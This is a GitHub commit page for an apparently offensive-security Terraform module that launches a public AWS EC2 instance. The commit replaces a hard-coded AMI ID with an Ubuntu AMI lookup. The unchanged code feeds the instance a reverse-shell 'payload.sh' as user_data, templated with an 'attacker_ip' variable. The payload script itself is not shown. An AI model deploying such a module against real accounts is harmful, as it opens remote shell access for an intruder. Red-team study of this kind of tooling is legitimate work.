Skip to content

Commit 22ec013

Browse files
authored
Merge pull request #1 from sciorms/master
Modified main.tf to use data.tf for AMI lookup
2 parents ca1f1c5 + 0bd7a11 commit 22ec013

File tree

2 files changed

+33
-24
lines changed

2 files changed

+33
-24
lines changed

data.tf

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
data "aws_ami" "ubuntu" {
2+
most_recent = true
3+
owners = ["099720109477"]
4+
5+
filter {
6+
name = "name"
7+
values = ["ubuntu/images/hvm-ssd/ubuntu-bionic-18.04-amd64-server-*"]
8+
}
9+
}

main.tf

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,24 @@
1-
terraform {
2-
required_version = ">= 0.12"
3-
}
4-
5-
resource "aws_instance" "this" {
6-
ami = "ami-06b263d6ceff0b3dd"
7-
instance_type = "t2.micro"
8-
subnet_id = var.subnet_id
9-
iam_instance_profile = var.iam_instance_profile
10-
user_data = data.template_file.user_data.rendered
11-
associate_public_ip_address = true
12-
13-
tags = {
14-
CreatedBy = "Offensive Terraform"
15-
}
16-
}
17-
18-
data "template_file" "user_data" {
19-
template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh")
20-
21-
vars = {
22-
attacker_ip = var.attacker_ip
23-
}
24-
}
1+
terraform {
2+
required_version = ">= 0.12"
3+
}
4+
5+
resource "aws_instance" "this" {
6+
ami = data.aws_ami.ubuntu.id
7+
instance_type = "t2.micro"
8+
subnet_id = var.subnet_id
9+
iam_instance_profile = var.iam_instance_profile
10+
user_data = data.template_file.user_data.rendered
11+
associate_public_ip_address = true
12+
13+
tags = {
14+
CreatedBy = "Offensive Terraform"
15+
}
16+
}
17+
18+
data "template_file" "user_data" {
19+
template = file(".terraform/modules/ec2-instance-reverse-shell/payload.sh")
20+
21+
vars = {
22+
attacker_ip = var.attacker_ip
23+
}
24+
}

0 commit comments

Comments
 (0)